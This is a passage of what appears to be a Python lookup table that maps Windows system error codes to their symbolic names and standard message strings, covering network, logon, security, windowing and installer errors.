\"An address has not yet been associated with the network endpoint.\"),\n        0x000004cd: (\"ERROR_CONNECTION_INVALID\", \"An operation was attempted on a nonexistent network connection.\"),\n        0x000004ce: (\"ERROR_CONNECTION_ACTIVE\", \"An invalid operation was attempted on an active network connection.\"),\n        0x000004cf: (\"ERROR_NETWORK_UNREACHABLE\", \"The network location cannot be reached. For information about network troubleshooting, see Windows Help.\"),\n        0x000004d0: (\"ERROR_HOST_UNREACHABLE\", \"The network location cannot be reached. For information about network troubleshooting, see Windows Help.\"),\n        0x000004d1: (\"ERROR_PROTOCOL_UNREACHABLE\", \"The network location cannot be reached. For information about network troubleshooting, see Windows Help.\"),\n        0x000004d2: (\"ERROR_PORT_UNREACHABLE\", \"No service is operating at the destination network endpoint on the remote system.\"),\n        0x000004d3: (\"ERROR_REQUEST_ABORTED\", \"The request was aborted.\"),\n        0x000004d4: (\"ERROR_CONNECTION_ABORTED\", \"The network connection was aborted by the local system.\"),\n        0x000004d5: (\"ERROR_RETRY\", \"The operation could not be completed. A retry should be performed.\"),\n        0x000004d6: (\"ERROR_CONNECTION_COUNT_LIMIT\", \"A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached.\"),\n        0x000004d7: (\"ERROR_LOGIN_TIME_RESTRICTION\", \"Attempting to log in during an unauthorized time of day for this account.\"),\n        0x000004d8: (\"ERROR_LOGIN_WKSTA_RESTRICTION\", \"The account is not authorized to log in from this station.\"),\n        0x000004d9: (\"ERROR_INCORRECT_ADDRESS\", \"The network address could not be used for the operation requested.\"),\n        0x000004da: (\"ERROR_ALREADY_REGISTERED\", \"The service is already registered.\"),\n        0x000004db: (\"ERROR_SERVICE_NOT_FOUND\", \"The specified service does not exist.\"),\n        0x000004dc: (\"ERROR_NOT_AUTHENTICATED\", \"The operation being requested was not performed because the user has not been authenticated.\"),\n        0x000004dd: (\"ERROR_NOT_LOGGED_ON\", \"The operation being requested was not performed because the user has not logged on to the network. The specified service does not exist.\"),\n        0x000004de: (\"ERROR_CONTINUE\", \"Continue with work in progress.\"),\n        0x000004df: (\"ERROR_ALREADY_INITIALIZED\", \"An attempt was made to perform an initialization operation when initialization has already been completed.\"),\n        0x000004e0: (\"ERROR_NO_MORE_DEVICES\", \"No more local devices.\"),\n        0x000004e1: (\"ERROR_NO_SUCH_SITE\", \"The specified site does not exist.\"),\n        0x000004e2: (\"ERROR_DOMAIN_CONTROLLER_EXISTS\", \"A domain controller with the specified name already exists.\"),\n        0x000004e3: (\"ERROR_ONLY_IF_CONNECTED\", \"This operation is supported only when you are connected to the server.\"),\n        0x000004e4: (\"ERROR_OVERRIDE_NOCHANGES\", \"The group policy framework should call the extension even if there are no changes.\"),\n        0x000004e5: (\"ERROR_BAD_USER_PROFILE\", \"The specified user does not have a valid profile.\"),\n        0x000004e6: (\"ERROR_NOT_SUPPORTED_ON_SBS\", \"This operation is not supported on a computer running Windows Server 2003 for Small Business Server\"),\n        0x000004e7: (\"ERROR_SERVER_SHUTDOWN_IN_PROGRESS\", \"The server machine is shutting down.\"),\n        0x000004e8: (\"ERROR_HOST_DOWN\", \"The remote system is not available. For information about network troubleshooting, see Windows Help.\"),\n        0x000004e9: (\"ERROR_NON_ACCOUNT_SID\", \"The security identifier provided is not from an account domain.\"),\n        0x000004ea: (\"ERROR_NON_DOMAIN_SID\", \"The security identifier provided does not have a domain component.\"),\n        0x000004eb: (\"ERROR_APPHELP_BLOCK\", \"AppHelp dialog canceled thus preventing the application from starting.\"),\n        0x000004ec: (\"ERROR_ACCESS_DISABLED_BY_POLICY\", \"This program is blocked by group policy. For more information, contact your system administrator.\"),\n        0x000004ed: (\"ERROR_REG_NAT_CONSUMPTION\", \"A program attempt to use an invalid register value. Normally caused by an uninitialized register. This error is Itanium specific.\"),\n        0x000004ee: (\"ERROR_CSCSHARE_OFFLINE\", \"The share is currently offline or does not exist.\"),\n        0x000004ef: (\"ERROR_PKINIT_FAILURE\", \"The Kerberos protocol encountered an error while validating the KDC certificate during smartcard logon. There is more information in the system event log.\"),\n        0x000004f0: (\"ERROR_SMARTCARD_SUBSYSTEM_FAILURE\", \"The Kerberos protocol encountered an error while attempting to utilize the smartcard subsystem.\"),\n        0x000004f1: (\"ERROR_DOWNGRADE_DETECTED\", \"The system cannot contact a domain controller to service the authentication request. Please try again later.\"),\n        0x000004f7: (\"ERROR_MACHINE_LOCKED\", \"The machine is locked and cannot be shut down without the force option.\"),\n        0x000004f9: (\"ERROR_CALLBACK_SUPPLIED_INVALID_DATA\", \"An application-defined callback gave invalid data when called.\"),\n        0x000004fa: (\"ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED\", \"The group policy framework should call the extension in the synchronous foreground policy refresh.\"),\n        0x000004fb: (\"ERROR_DRIVER_BLOCKED\", \"This driver has been blocked from loading\"),\n        0x000004fc: (\"ERROR_INVALID_IMPORT_OF_NON_DLL\", \"A dynamic link library (DLL) referenced a module that was neither a DLL nor the process's executable image.\"),\n        0x000004fd: (\"ERROR_ACCESS_DISABLED_WEBBLADE\", \"Windows cannot open this program since it has been disabled.\"),\n        0x000004fe: (\"ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER\", \"Windows cannot open this program because the license enforcement system has been tampered with or become corrupted.\"),\n        0x000004ff: (\"ERROR_RECOVERY_FAILURE\", \"A transaction recover failed.\"),\n        0x00000500: (\"ERROR_ALREADY_FIBER\", \"The current thread has already been converted to a fiber.\"),\n        0x00000501: (\"ERROR_ALREADY_THREAD\", \"The current thread has already been converted from a fiber.\"),\n        0x00000502: (\"ERROR_STACK_BUFFER_OVERRUN\", \"The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.\"),\n        0x00000503: (\"ERROR_PARAMETER_QUOTA_EXCEEDED\", \"Data present in one of the parameters is more than the function can operate on.\"),\n        0x00000504: (\"ERROR_DEBUGGER_INACTIVE\", \"An attempt to do an operation on a debug object failed because the object is in the process of being deleted.\"),\n        0x00000505: (\"ERROR_DELAY_LOAD_FAILED\", \"An attempt to delay-load a .dll or get a function address in a delay-loaded .dll failed.\"),\n        0x00000506: (\"ERROR_VDM_DISALLOWED\", \"%1 is a 16-bit application. You do not have permissions to execute 16-bit applications. Check your permissions with your system administrator.\"),\n        0x00000507: (\"ERROR_UNIDENTIFIED_ERROR\", \"Insufficient information exists to identify the cause of failure.\"),\n        0x00000508: (\"ERROR_INVALID_CRUNTIME_PARAMETER\", \"The parameter passed to a C runtime function is incorrect.\"),\n        0x00000509: (\"ERROR_BEYOND_VDL\", \"The operation occurred beyond the valid data length of the file.\"),\n        0x0000050a: (\"ERROR_INCOMPATIBLE_SERVICE_SID_TYPE\", \"The service start failed since one or more services in the same process have an incompatible service SID type setting. A service with restricted service SID type can only coexist in the same process with other services with a restricted SID type. If the service SID type for this service was just configured, the hosting process must be restarted in order to start this service.\"),\n        0x0000050b: (\"ERROR_DRIVER_PROCESS_TERMINATED\", \"The process hosting the driver for this device has been terminated.\"),\n        0x0000050c: (\"ERROR_IMPLEMENTATION_LIMIT\", \"An operation attempted to exceed an implementation-defined limit.\"),\n        0x0000050d: (\"ERROR_PROCESS_IS_PROTECTED\", \"Either the target process, or the target thread's containing process, is a protected process.\"),\n        0x0000050e: (\"ERROR_SERVICE_NOTIFY_CLIENT_LAGGING\", \"The service notification client is lagging too far behind the current state of services in the machine.\"),\n        0x0000050f: (\"ERROR_DISK_QUOTA_EXCEEDED\", \"The requested file operation failed because the storage quota was exceeded.\"),\n        0x00000510: (\"ERROR_CONTENT_BLOCKED\", \"The requested file operation failed because the storage policy blocks that type of file. For more information, contact your system administrator.\"),\n        0x00000511: (\"ERROR_INCOMPATIBLE_SERVICE_PRIVILEGE\", \"A privilege that the service requires to function properly does not exist in the service account configuration.\"),\n        0x00000512: (\"ERROR_APP_HANG\", \"A thread involved in this operation appears to be unresponsive.\"),\n        0x00000513: (\"ERROR_INVALID_LABEL\", \"Indicates a particular Security ID may not be assigned as the label of an object.\"),\n        0x00000514: (\"ERROR_NOT_ALL_ASSIGNED\", \"Not all privileges or groups referenced are assigned to the caller.\"),\n        0x00000515: (\"ERROR_SOME_NOT_MAPPED\", \"Some mapping between account names and security IDs was not done.\"),\n        0x00000516: (\"ERROR_NO_QUOTAS_FOR_ACCOUNT\", \"No system quota limits are specifically set for this account.\"),\n        0x00000517: (\"ERROR_LOCAL_USER_SESSION_KEY\", \"No encryption key is available. A well-known encryption key was returned.\"),\n        0x00000518: (\"ERROR_NULL_LM_PASSWORD\", \"The password is too complex to be converted to a LAN Manager password. The LAN Manager password returned is a NULL string.\"),\n        0x00000519: (\"ERROR_UNKNOWN_REVISION\", \"The revision level is unknown.\"),\n        0x0000051a: (\"ERROR_REVISION_MISMATCH\", \"Indicates two revision levels are incompatible.\"),\n        0x0000051b: (\"ERROR_INVALID_OWNER\", \"This security ID may not be assigned as the owner of this object.\"),\n        0x0000051c: (\"ERROR_INVALID_PRIMARY_GROUP\", \"This security ID may not be assigned as the primary group of an object.\"),\n        0x0000051d: (\"ERROR_NO_IMPERSONATION_TOKEN\", \"An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client.\"),\n        0x0000051e: (\"ERROR_CANT_DISABLE_MANDATORY\", \"The group may not be disabled.\"),\n        0x0000051f: (\"ERROR_NO_LOGON_SERVERS\", \"There are currently no logon servers available to service the logon request.\"),\n        0x00000520: (\"ERROR_NO_SUCH_LOGON_SESSION\", \"A specified logon session does not exist. It may already have been terminated.\"),\n        0x00000521: (\"ERROR_NO_SUCH_PRIVILEGE\", \"A specified privilege does not exist.\"),\n        0x00000522: (\"ERROR_PRIVILEGE_NOT_HELD\", \"A required privilege is not held by the client.\"),\n        0x00000523: (\"ERROR_INVALID_ACCOUNT_NAME\", \"The name provided is not a properly formed account name.\"),\n        0x00000524: (\"ERROR_USER_EXISTS\", \"The specified account already exists.\"),\n        0x00000525: (\"ERROR_NO_SUCH_USER\", \"The specified account does not exist.\"),\n        0x00000526: (\"ERROR_GROUP_EXISTS\", \"The specified group already exists.\"),\n        0x00000527: (\"ERROR_NO_SUCH_GROUP\", \"The specified group does not exist.\"),\n        0x00000528: (\"ERROR_MEMBER_IN_GROUP\", \"Either the specified user account is already a member of the specified group, or the specified group cannot be deleted because it contains a member.\"),\n        0x00000529: (\"ERROR_MEMBER_NOT_IN_GROUP\", \"The specified user account is not a member of the specified group account.\"),\n        0x0000052a: (\"ERROR_LAST_ADMIN\", \"This operation is disallowed as it could result in an administration account being disabled, deleted or unable to logon.\"),\n        0x0000052b: (\"ERROR_WRONG_PASSWORD\", \"Unable to update the password. The value provided as the current password is incorrect.\"),\n        0x0000052c: (\"ERROR_ILL_FORMED_PASSWORD\", \"Unable to update the password. The value provided for the new password contains values that are not allowed in passwords.\"),\n        0x0000052d: (\"ERROR_PASSWORD_RESTRICTION\", \"Unable to update the password. The value provided for the new password does not meet the length, complexity, or history requirements of the domain.\"),\n        0x0000052e: (\"ERROR_LOGON_FAILURE\", \"The user name or password is incorrect.\"),\n        0x0000052f: (\"ERROR_ACCOUNT_RESTRICTION\", \"Account restrictions are preventing this user from signing in. For example: blank passwords aren't allowed, sign-in times are limited, or a policy restriction has been enforced.\"),\n        0x00000530: (\"ERROR_INVALID_LOGON_HOURS\", \"Your account has time restrictions that keep you from signing in right now.\"),\n        0x00000531: (\"ERROR_INVALID_WORKSTATION\", \"This user isn't allowed to sign in to this computer.\"),\n        0x00000532: (\"ERROR_PASSWORD_EXPIRED\", \"The password for this account has expired.\"),\n        0x00000533: (\"ERROR_ACCOUNT_DISABLED\", \"This user can't sign in because this account is currently disabled.\"),\n        0x00000534: (\"ERROR_NONE_MAPPED\", \"No mapping between account names and security IDs was done.\"),\n        0x00000535: (\"ERROR_TOO_MANY_LUIDS_REQUESTED\", \"Too many local user identifiers (LUIDs) were requested at one time.\"),\n        0x00000536: (\"ERROR_LUIDS_EXHAUSTED\", \"No more local user identifiers (LUIDs) are available.\"),\n        0x00000537: (\"ERROR_INVALID_SUB_AUTHORITY\", \"The subauthority part of a security ID is invalid for this particular use.\"),\n        0x00000538: (\"ERROR_INVALID_ACL\", \"The access control list (ACL) structure is invalid.\"),\n        0x00000539: (\"ERROR_INVALID_SID\", \"The security ID structure is invalid.\"),\n        0x0000053a: (\"ERROR_INVALID_SECURITY_DESCR\", \"The security descriptor structure is invalid.\"),\n        0x0000053c: (\"ERROR_BAD_INHERITANCE_ACL\", \"The inherited access control list (ACL) or access control entry (ACE) could not be built.\"),\n        0x0000053d: (\"ERROR_SERVER_DISABLED\", \"The server is currently disabled.\"),\n        0x0000053e: (\"ERROR_SERVER_NOT_DISABLED\", \"The server is currently enabled.\"),\n        0x0000053f: (\"ERROR_INVALID_ID_AUTHORITY\", \"The value provided was an invalid value for an identifier authority.\"),\n        0x00000540: (\"ERROR_ALLOTTED_SPACE_EXCEEDED\", \"No more memory is available for security information updates.\"),\n        0x00000541: (\"ERROR_INVALID_GROUP_ATTRIBUTES\", \"The specified attributes are invalid, or incompatible with the attributes for the group as a whole.\"),\n        0x00000542: (\"ERROR_BAD_IMPERSONATION_LEVEL\", \"Either a required impersonation level was not provided, or the provided impersonation level is invalid.\"),\n        0x00000543: (\"ERROR_CANT_OPEN_ANONYMOUS\", \"Cannot open an anonymous level security token.\"),\n        0x00000544: (\"ERROR_BAD_VALIDATION_CLASS\", \"The validation information class requested was invalid.\"),\n        0x00000545: (\"ERROR_BAD_TOKEN_TYPE\", \"The type of the token is inappropriate for its attempted use.\"),\n        0x00000546: (\"ERROR_NO_SECURITY_ON_OBJECT\", \"Unable to perform a security operation on an object that has no associated security.\"),\n        0x00000547: (\"ERROR_CANT_ACCESS_DOMAIN_INFO\", \"Configuration information could not be read from the domain controller, either because the machine is unavailable, or access has been denied.\"),\n        0x00000548: (\"ERROR_INVALID_SERVER_STATE\", \"The security account manager (SAM) or local security authority (LSA) server was in the wrong state to perform the security operation.\"),\n        0x00000549: (\"ERROR_INVALID_DOMAIN_STATE\", \"The domain was in the wrong state to perform the security operation.\"),\n        0x0000054a: (\"ERROR_INVALID_DOMAIN_ROLE\", \"This operation is only allowed for the Primary Domain Controller of the domain.\"),\n        0x0000054b: (\"ERROR_NO_SUCH_DOMAIN\", \"The specified domain either does not exist or could not be contacted.\"),\n        0x0000054c: (\"ERROR_DOMAIN_EXISTS\", \"The specified domain already exists.\"),\n        0x0000054d: (\"ERROR_DOMAIN_LIMIT_EXCEEDED\", \"An attempt was made to exceed the limit on the number of domains per server.\"),\n        0x0000054e: (\"ERROR_INTERNAL_DB_CORRUPTION\", \"Unable to complete the requested operation because of either a catastrophic media failure or a data structure corruption on the disk.\"),\n        0x0000054f: (\"ERROR_INTERNAL_ERROR\", \"An internal error occurred.\"),\n        0x00000550: (\"ERROR_GENERIC_NOT_MAPPED\", \"Generic access types were contained in an access mask which should already be mapped to nongeneric types.\"),\n        0x00000551: (\"ERROR_BAD_DESCRIPTOR_FORMAT\", \"A security descriptor is not in the right format (absolute or self-relative).\"),\n        0x00000552: (\"ERROR_NOT_LOGON_PROCESS\", \"The requested action is restricted for use by logon processes only. The calling process has not registered as a logon process.\"),\n        0x00000553: (\"ERROR_LOGON_SESSION_EXISTS\", \"Cannot start a new logon session with an ID that is already in use.\"),\n        0x00000554: (\"ERROR_NO_SUCH_PACKAGE\", \"A specified authentication package is unknown.\"),\n        0x00000555: (\"ERROR_BAD_LOGON_SESSION_STATE\", \"The logon session is not in a state that is consistent with the requested operation.\"),\n        0x00000556: (\"ERROR_LOGON_SESSION_COLLISION\", \"The logon session ID is already in use.\"),\n        0x00000557: (\"ERROR_INVALID_LOGON_TYPE\", \"A logon request contained an invalid logon type value.\"),\n        0x00000558: (\"ERROR_CANNOT_IMPERSONATE\", \"Unable to impersonate using a named pipe until data has been read from that pipe.\"),\n        0x00000559: (\"ERROR_RXACT_INVALID_STATE\", \"The transaction state of a registry subtree is incompatible with the requested operation.\"),\n        0x0000055a: (\"ERROR_RXACT_COMMIT_FAILURE\", \"An internal security database corruption has been encountered.\"),\n        0x0000055b: (\"ERROR_SPECIAL_ACCOUNT\", \"Cannot perform this operation on built-in accounts.\"),\n        0x0000055c: (\"ERROR_SPECIAL_GROUP\", \"Cannot perform this operation on this built-in special group.\"),\n        0x0000055d: (\"ERROR_SPECIAL_USER\", \"Cannot perform this operation on this built-in special user.\"),\n        0x0000055e: (\"ERROR_MEMBERS_PRIMARY_GROUP\", \"The user cannot be removed from a group because the group is currently the user's primary group.\"),\n        0x0000055f: (\"ERROR_TOKEN_ALREADY_IN_USE\", \"The token is already in use as a primary token.\"),\n        0x00000560: (\"ERROR_NO_SUCH_ALIAS\", \"The specified local group does not exist.\"),\n        0x00000561: (\"ERROR_MEMBER_NOT_IN_ALIAS\", \"The specified account name is not a member of the group.\"),\n        0x00000562: (\"ERROR_MEMBER_IN_ALIAS\", \"The specified account name is already a member of the group.\"),\n        0x00000563: (\"ERROR_ALIAS_EXISTS\", \"The specified local group already exists.\"),\n        0x00000564: (\"ERROR_LOGON_NOT_GRANTED\", \"Logon failure: the user has not been granted the requested logon type at this computer.\"),\n        0x00000565: (\"ERROR_TOO_MANY_SECRETS\", \"The maximum number of secrets that may be stored in a single system has been exceeded.\"),\n        0x00000566: (\"ERROR_SECRET_TOO_LONG\", \"The length of a secret exceeds the maximum length allowed.\"),\n        0x00000567: (\"ERROR_INTERNAL_DB_ERROR\", \"The local security authority database contains an internal inconsistency.\"),\n        0x00000568: (\"ERROR_TOO_MANY_CONTEXT_IDS\", \"During a logon attempt, the user's security context accumulated too many security IDs.\"),\n        0x00000569: (\"ERROR_LOGON_TYPE_NOT_GRANTED\", \"Logon failure: the user has not been granted the requested logon type at this computer.\"),\n        0x0000056a: (\"ERROR_NT_CROSS_ENCRYPTION_REQUIRED\", \"A cross-encrypted password is necessary to change a user password.\"),\n        0x0000056b: (\"ERROR_NO_SUCH_MEMBER\", \"A member could not be added to or removed from the local group because the member does not exist.\"),\n        0x0000056c: (\"ERROR_INVALID_MEMBER\", \"A new member could not be added to a local group because the member has the wrong account type.\"),\n        0x0000056d: (\"ERROR_TOO_MANY_SIDS\", \"Too many security IDs have been specified.\"),\n        0x0000056e: (\"ERROR_LM_CROSS_ENCRYPTION_REQUIRED\", \"A cross-encrypted password is necessary to change this user password.\"),\n        0x0000056f: (\"ERROR_NO_INHERITANCE\", \"Indicates an ACL contains no inheritable components.\"),\n        0x00000570: (\"ERROR_FILE_CORRUPT\", \"The file or directory is corrupted and unreadable.\"),\n        0x00000571: (\"ERROR_DISK_CORRUPT\", \"The disk structure is corrupted and unreadable.\"),\n        0x00000572: (\"ERROR_NO_USER_SESSION_KEY\", \"There is no user session key for the specified logon session.\"),\n        0x00000573: (\"ERROR_LICENSE_QUOTA_EXCEEDED\", \"The service being accessed is licensed for a particular number of connections. No more connections can be made to the service at this time because there are already as many connections as the service can accept.\"),\n        0x00000574: (\"ERROR_WRONG_TARGET_NAME\", \"The target account name is incorrect.\"),\n        0x00000575: (\"ERROR_MUTUAL_AUTH_FAILED\", \"Mutual Authentication failed. The server's password is out of date at the domain controller.\"),\n        0x00000576: (\"ERROR_TIME_SKEW\", \"There is a time and/or date difference between the client and server.\"),\n        0x00000577: (\"ERROR_CURRENT_DOMAIN_NOT_ALLOWED\", \"This operation cannot be performed on the current domain.\"),\n        0x00000578: (\"ERROR_INVALID_WINDOW_HANDLE\", \"Invalid window handle.\"),\n        0x00000579: (\"ERROR_INVALID_MENU_HANDLE\", \"Invalid menu handle.\"),\n        0x0000057a: (\"ERROR_INVALID_CURSOR_HANDLE\", \"Invalid cursor handle.\"),\n        0x0000057b: (\"ERROR_INVALID_ACCEL_HANDLE\", \"Invalid accelerator table handle.\"),\n        0x0000057c: (\"ERROR_INVALID_HOOK_HANDLE\", \"Invalid hook handle.\"),\n        0x0000057d: (\"ERROR_INVALID_DWP_HANDLE\", \"Invalid handle to a multiple-window position structure.\"),\n        0x0000057e: (\"ERROR_TLW_WITH_WSCHILD\", \"Cannot create a top-level child window.\"),\n        0x0000057f: (\"ERROR_CANNOT_FIND_WND_CLASS\", \"Cannot find window class.\"),\n        0x00000580: (\"ERROR_WINDOW_OF_OTHER_THREAD\", \"Invalid window; it belongs to other thread.\"),\n        0x00000581: (\"ERROR_HOTKEY_ALREADY_REGISTERED\", \"Hot key is already registered.\"),\n        0x00000582: (\"ERROR_CLASS_ALREADY_EXISTS\", \"Class already exists.\"),\n        0x00000583: (\"ERROR_CLASS_DOES_NOT_EXIST\", \"Class does not exist.\"),\n        0x00000584: (\"ERROR_CLASS_HAS_WINDOWS\", \"Class still has open windows.\"),\n        0x00000585: (\"ERROR_INVALID_INDEX\", \"Invalid index.\"),\n        0x00000586: (\"ERROR_INVALID_ICON_HANDLE\", \"Invalid icon handle.\"),\n        0x00000587: (\"ERROR_PRIVATE_DIALOG_INDEX\", \"Using private DIALOG window words.\"),\n        0x00000588: (\"ERROR_LISTBOX_ID_NOT_FOUND\", \"The list box identifier was not found.\"),\n        0x00000589: (\"ERROR_NO_WILDCARD_CHARACTERS\", \"No wildcards were found.\"),\n        0x0000058a: (\"ERROR_CLIPBOARD_NOT_OPEN\", \"Thread does not have a clipboard open.\"),\n        0x0000058b: (\"ERROR_HOTKEY_NOT_REGISTERED\", \"Hot key is not registered.\"),\n        0x0000058c: (\"ERROR_WINDOW_NOT_DIALOG\", \"The window is not a valid dialog window.\"),\n        0x0000058d: (\"ERROR_CONTROL_ID_NOT_FOUND\", \"Control ID not found.\"),\n        0x0000058e: (\"ERROR_INVALID_COMBOBOX_MESSAGE\", \"Invalid message for a combo box because it does not have an edit control.\"),\n        0x0000058f: (\"ERROR_WINDOW_NOT_COMBOBOX\", \"The window is not a combo box.\"),\n        0x00000590: (\"ERROR_INVALID_EDIT_HEIGHT\", \"Height must be less than 256.\"),\n        0x00000591: (\"ERROR_DC_NOT_FOUND\", \"Invalid device context (DC) handle.\"),\n        0x00000592: (\"ERROR_INVALID_HOOK_FILTER\", \"Invalid hook procedure type.\"),\n        0x00000593: (\"ERROR_INVALID_FILTER_PROC\", \"Invalid hook procedure.\"),\n        0x00000594: (\"ERROR_HOOK_NEEDS_HMOD\", \"Cannot set nonlocal hook without a module handle.\"),\n        0x00000595: (\"ERROR_GLOBAL_ONLY_HOOK\", \"This hook procedure can only be set globally.\"),\n        0x00000596: (\"ERROR_JOURNAL_HOOK_SET\", \"The journal hook procedure is already installed.\"),\n        0x00000597: (\"ERROR_HOOK_NOT_INSTALLED\", \"The hook procedure is not installed.\"),\n        0x00000598: (\"ERROR_INVALID_LB_MESSAGE\", \"Invalid message for single-selection list box.\"),\n        0x00000599: (\"ERROR_SETCOUNT_ON_BAD_LB\", \"LB_SETCOUNT sent to non-lazy list box.\"),\n        0x0000059a: (\"ERROR_LB_WITHOUT_TABSTOPS\", \"This list box does not support tab stops.\"),\n        0x0000059b: (\"ERROR_DESTROY_OBJECT_OF_OTHER_THREAD\", \"Cannot destroy object created by another thread.\"),\n        0x0000059c: (\"ERROR_CHILD_WINDOW_MENU\", \"Child windows cannot have menus.\"),\n        0x0000059d: (\"ERROR_NO_SYSTEM_MENU\", \"The window does not have a system menu.\"),\n        0x0000059e: (\"ERROR_INVALID_MSGBOX_STYLE\", \"Invalid message box style.\"),\n        0x0000059f: (\"ERROR_INVALID_SPI_VALUE\", \"Invalid system-wide (SPI_*) parameter.\"),\n        0x000005a0: (\"ERROR_SCREEN_ALREADY_LOCKED\", \"Screen already locked.\"),\n        0x000005a1: (\"ERROR_HWNDS_HAVE_DIFF_PARENT\", \"All handles to windows in a multiple-window position structure must have the same parent.\"),\n        0x000005a2: (\"ERROR_NOT_CHILD_WINDOW\", \"The window is not a child window.\"),\n        0x000005a3: (\"ERROR_INVALID_GW_COMMAND\", \"Invalid GW_* command.\"),\n        0x000005a4: (\"ERROR_INVALID_THREAD_ID\", \"Invalid thread identifier.\"),\n        0x000005a5: (\"ERROR_NON_MDICHILD_WINDOW\", \"Cannot process a message from a window that is not a multiple document interface (MDI) window.\"),\n        0x000005a6: (\"ERROR_POPUP_ALREADY_ACTIVE\", \"Popup menu already active.\"),\n        0x000005a7: (\"ERROR_NO_SCROLLBARS\", \"The window does not have scroll bars.\"),\n        0x000005a8: (\"ERROR_INVALID_SCROLLBAR_RANGE\", \"Scroll bar range cannot be greater than MAXLONG.\"),\n        0x000005a9: (\"ERROR_INVALID_SHOWWIN_COMMAND\", \"Cannot show or remove the window in the way specified.\"),\n        0x000005aa: (\"ERROR_NO_SYSTEM_RESOURCES\", \"Insufficient system resources exist to complete the requested service.\"),\n        0x000005ab: (\"ERROR_NONPAGED_SYSTEM_RESOURCES\", \"Insufficient system resources exist to complete the requested service.\"),\n        0x000005ac: (\"ERROR_PAGED_SYSTEM_RESOURCES\", \"Insufficient system resources exist to complete the requested service.\"),\n        0x000005ad: (\"ERROR_WORKING_SET_QUOTA\", \"Insufficient quota to complete the requested service.\"),\n        0x000005ae: (\"ERROR_PAGEFILE_QUOTA\", \"Insufficient quota to complete the requested service.\"),\n        0x000005af: (\"ERROR_COMMITMENT_LIMIT\", \"The paging file is too small for this operation to complete.\"),\n        0x000005b0: (\"ERROR_MENU_ITEM_NOT_FOUND\", \"A menu item was not found.\"),\n        0x000005b1: (\"ERROR_INVALID_KEYBOARD_HANDLE\", \"Invalid keyboard layout handle.\"),\n        0x000005b2: (\"ERROR_HOOK_TYPE_NOT_ALLOWED\", \"Hook type not allowed.\"),\n        0x000005b3: (\"ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION\", \"This operation requires an interactive window station.\"),\n        0x000005b4: (\"ERROR_TIMEOUT\", \"This operation returned because the timeout period expired.\"),\n        0x000005b5: (\"ERROR_INVALID_MONITOR_HANDLE\", \"Invalid monitor handle.\"),\n        0x000005b6: (\"ERROR_INCORRECT_SIZE\", \"Incorrect size argument.\"),\n        0x000005b7: (\"ERROR_SYMLINK_CLASS_DISABLED\", \"The symbolic link cannot be followed because its type is disabled.\"),\n        0x000005b8: (\"ERROR_SYMLINK_NOT_SUPPORTED\", \"This application does not support the current operation on symbolic links.\"),\n        0x000005b9: (\"ERROR_XML_PARSE_ERROR\", \"Windows was unable to parse the requested XML data.\"),\n        0x000005ba: (\"ERROR_XMLDSIG_ERROR\", \"An error was encountered while processing an XML digital signature.\"),\n        0x000005bb: (\"ERROR_RESTART_APPLICATION\", \"This application must be restarted.\"),\n        0x000005bc: (\"ERROR_WRONG_COMPARTMENT\", \"The caller made the connection request in the wrong routing compartment.\"),\n        0x000005bd: (\"ERROR_AUTHIP_FAILURE\", \"There was an AuthIP failure when attempting to connect to the remote host.\"),\n        0x000005be: (\"ERROR_NO_NVRAM_RESOURCES\", \"Insufficient NVRAM resources exist to complete the requested service. A reboot might be required.\"),\n        0x000005bf: (\"ERROR_NOT_GUI_PROCESS\", \"Unable to finish the requested operation because the specified process is not a GUI process.\"),\n        0x000005dc: (\"ERROR_EVENTLOG_FILE_CORRUPT\", \"The event log file is corrupted.\"),\n        0x000005dd: (\"ERROR_EVENTLOG_CANT_START\", \"No event log file could be opened, so the event logging service did not start.\"),\n        0x000005de: (\"ERROR_LOG_FILE_FULL\", \"The event log file is full.\"),\n        0x000005df: (\"ERROR_EVENTLOG_FILE_CHANGED\", \"The event log file has changed between read operations.\"),\n        0x0000060e: (\"ERROR_INVALID_TASK_NAME\", \"The specified task name is invalid.\"),\n        0x0000060f: (\"ERROR_INVALID_TASK_INDEX\", \"The specified task index is invalid.\"),\n        0x00000610: (\"ERROR_THREAD_ALREADY_IN_TASK\", \"The specified thread is already joining a task.\"),\n        0x00000641: (\"ERROR_INSTALL_SERVICE_FAILURE\", \"The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.\"),\n        0x00000642: (\"ERROR_INSTALL_USEREXIT\", \"User cancelled installation.\"),\n        0x00000643: (\"ERROR_INSTALL_FAILURE\", \"Fatal error during installation.\"),\n        0x00000644: (\"ERROR_INSTALL_SUSPEND\", \"Installation suspended, incomplete.\"),\n        0x00000645: (\"ERROR_UNKNOWN_PRODUCT\", \"This action is only valid for products that are currently installed.\"),\n        0x00000646: (\"ERROR_UNKNOWN_FEATURE\", \"Feature ID not registered.\"),\n        0x00000647: (\"ERROR_UNKNOWN_COMPONENT\", \"Component ID not registered.\"),\n        0x00000648: (\"ERROR_UNKNOWN_PROPERTY\", \"Unknown property.\"),\n        0x00000649: (\"ERROR_INVALID_HANDLE_STATE\", \"Handle is in an invalid state.\"),\n        0x0000064a: (\"ERROR_BAD_CONFIGURATION\", \"The configuration data for this product is corrupt. Contact your support personnel.\"),\n        0x0000064b: (\"ERROR_INDEX_ABSENT\", \"Component qualifier not present.\"),\n        0x0000064c: (\"ERROR_INSTALL_SOURCE_ABSENT\", \"The installation source for this product is not available. Verify that the source exists and that you can access it.\"),\n        0x0000064d: (\"ERROR_INSTALL_PACKAGE_VERSION\", \"This installation package cannot be installed by the Windows Installer service. You must install a Windows service pack that contains a newer version of the Windows Installer service.\"),\n        0x0000064e: (\"ERROR_PRODUCT_UNINSTALLED\", \"Product is uninstalled.\"),\n        0x0000064f: (\"ERROR_BAD_QUERY_SYNTAX\", \"SQL query syntax invalid or unsupported.\"),\n        0x00000650: (\"ERROR_INVALID_FIELD\", \"Record field does not exist.\"),\n        0x00000651: (\"ERROR_DEVICE_REMOVED\", \"The device has been removed.\"),\n        0x00000652: (\"ERROR_INSTALL_ALREADY_RUNNING\", \"Another installation is already in progress. Complete that installation before proceeding with this install.\"),\n        0x00000653: (\"ERROR_INSTALL_PACKAGE_OPEN_FAILED\", \"This installation package could not be opened. Verify that the package exists and that you can access it, or contact the application vendor to verify that this is a valid Windows Installer 